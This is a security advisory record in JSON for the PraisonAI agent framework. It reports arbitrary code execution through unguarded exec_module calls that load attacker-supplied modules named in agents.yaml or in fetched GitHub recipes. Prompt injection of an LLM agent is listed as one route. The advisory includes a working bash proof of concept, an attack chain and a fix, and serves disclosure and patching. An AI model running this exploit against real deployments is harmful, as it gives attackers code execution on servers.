{"schema_version":"1.9.0","id":"GHSA-78r8-wwqv-r299","published":"2026-05-29T22:26:31Z","modified":"2026-07-22T05:41:40.373068812Z","aliases":["CVE-2026-47398","CVE-2026-64824","PYSEC-2026-2905"],"summary":"PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334","details":"
spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.
Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.
# praisonai/agents_generator.py (master HEAD; v4.6.37)\n\n336 def load_tools_from_module(self, module_path):\n # ...\n349 spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350 module = importlib.util.module_from_spec(spec)\n351 spec.loader.exec_module(module) # ← NO gate\n\n372 def load_tools_from_module_class(self, module_path):\n # ... (same pattern — spec_from_file_location → exec_module, no gate)\n\nNeither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
POST /v1/recipes/run with allow_any_github=True).HTTP POST /v1/recipes/run\n body: {\"recipe\": \"github:<attacker>/<repo>/<recipe>\"}\n │\n ▼\n Recipe fetched → agents.yaml contains:\n tools:\n - module_path: ./evil.py # colocated in recipe dir\n │\n ▼\n AgentsGenerator.load_tools_from_module(\"./evil.py\")\n │\n ▼\n agents_generator.py:349 spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n agents_generator.py:351 spec.loader.exec_module(module) ← RCE\n\nNo PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.
#!/usr/bin/env bash\n# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat > \"$WORKDIR/evil.py\" << 'PYEOF'\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n \"\"\"Placeholder so tool scan finds something.\"\"\"\n pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat > \"$WORKDIR/agents.yaml\" << 'YAMLEOF'\nframework: praisonai\ntopic: \"PoC — agents_generator exec_module bypass\"\nroles:\n poc_agent:\n role: PoC\n goal: Trigger load_tools_from_module\n backstory: n/a\n tools:\n - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n ai = PraisonAI(agent_file='agents.yaml')\n ai.main()\nexcept Exception:\n pass # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n echo \"SUCCESS — marker file written by server process:\"\n cat \"$MARKER\"\nelse\n echo \"FAIL — marker not found\"\n exit 1\nfi\n\nArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.
High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
\nWhen combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
\nAll versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).
Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:
import os\n\ndef load_tools_from_module(self, module_path):\n if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n return []\n # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n return []\n # ... existing logic ...\n\nAdditionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.
Kai Aizen & Avraham Shemesh / SnailSploit
## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)\n\n### TL;DR\n\nThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\n\n### Patch lineage\n\n| CVE | GHSA | Fixed in | What was patched |\n| --- | --- | --- | --- |\n| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` |\n| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` |\n| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` |\n| **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` |\n\nEvery prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\n\n### Vulnerable code\n\n```python\n# praisonai/agents_generator.py (master HEAD; v4.6.37)\n\n336 def load_tools_from_module(self, module_path):\n # ...\n349 spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350 module = importlib.util.module_from_spec(spec)\n351 spec.loader.exec_module(module) # ← NO gate\n\n372 def load_tools_from_module_class(self, module_path):\n # ... (same pattern — spec_from_file_location → exec_module, no gate)\n```\n\nNeither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be:\n\n1. **Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156.\n2. **Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`).\n3. **Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\n\n### Attack chain (recipe vector)\n\n```\nHTTP POST /v1/recipes/run\n body: {\"recipe\": \"github: